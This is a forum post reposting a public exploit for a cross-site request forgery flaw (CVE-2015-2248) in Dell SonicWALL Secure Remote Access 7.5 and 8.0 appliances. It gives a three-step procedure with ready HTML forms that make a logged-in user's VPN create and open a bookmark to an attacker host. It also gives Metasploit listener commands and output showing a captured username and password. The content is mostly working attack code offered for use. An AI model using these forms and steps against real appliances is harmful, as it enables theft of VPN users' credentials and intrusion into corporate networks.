Jump to content

Dell SonicWALL Secure Remote Access 7.5 / 8.0 CSRF

Recommended Posts

# Exploit Title: Dell SonicWALL Secure Remote Access (SRA) Appliance Cross-Site Request Forgery
# Date: 04/28/2015
# Vendor Homepage: www.dell.com
# Version: Dell SonicWALL SRA 7.5 prior to and 8.0 prior to
# CVE : 2015-2248

Exploitation Procedure (Outline):
1. Use CSRF to force currently logged in user to create a bookmark pointing to an endpoint controlled by the attacker.
2. Use subsequent request to call the bookmark just created. The identifier of the bookmark can be bruteforced using a single decrementing integer and causes minimal time delay.
3. Gather the credentials on the target server provided in step #1

1. Create a bookmark:

<form action="https://vulnerable.vpn-installation.tld/cgi-bin/editBookmark" method="POST">
<input type="hidden" name="bmName" value="foo" />
<input type="hidden" name="host" value="www.malicious-host.tld" />
<input type="hidden" name="description" value="bar" />
<input type="hidden" name="tabs" value="Baz" />
<input type="hidden" name="service" value="HTTP" />
<input type="hidden" name="fbaSSOEnabled" value="on" />
<input type="hidden" name="fbaSSOFormUserName" value="user" />
<input type="hidden" name="fbaSSOFormUserPassword" value="password" />
<input type="hidden" name="MC_App" value="inherit" />
<input type="hidden" name="MC_Copy" value="inherit" />
<input type="hidden" name="MC_Print" value="inherit" />
<input type="hidden" name="MC_Offline" value="inherit" />
<input type="hidden" name="name" value="name" />
<input type="hidden" name="type" value="type" />
<input type="hidden" name="owner" value="owner" />
<input type="hidden" name="cmd" value="add" />
<input type="hidden" name="wantBmData" value="true" />
<input type="hidden" name="ok" value="OK" />
<input type="submit" value="Submit request" />

2. Call the newly created bookmark
This might require some guesswork, because we don't know which value bookmarkAccessed needs to have.

<form action="https://vulnerable.vpn-installation.tld/cgi-bin/http">
<input type="hidden" name="HOST" value="www.malicious-host.tld" />
<input type="hidden" name="bookmarkAccessed" value="4" />
<input type="submit" value="Submit request" />

3. Set up a listener
E.g. metasploit payload
use auxiliary/server/capture/http_basic

msf auxiliary(http_basic) >
[*] Listening on
[*] Using URL:
[*] Local IP: http://www.malicious-host.tld:80/
[*] Server started.
[*] vulnerable.vpn-installation.tld http_basic - Sending 401 to client vulnerable.vpn-installation.tld
[+] vulnerable.vpn-installation.tld http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password"

Surs?: http://dl.packetstormsecurity.net/1505-exploits/dellsonicwallsra-xsrf.txt

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Create New...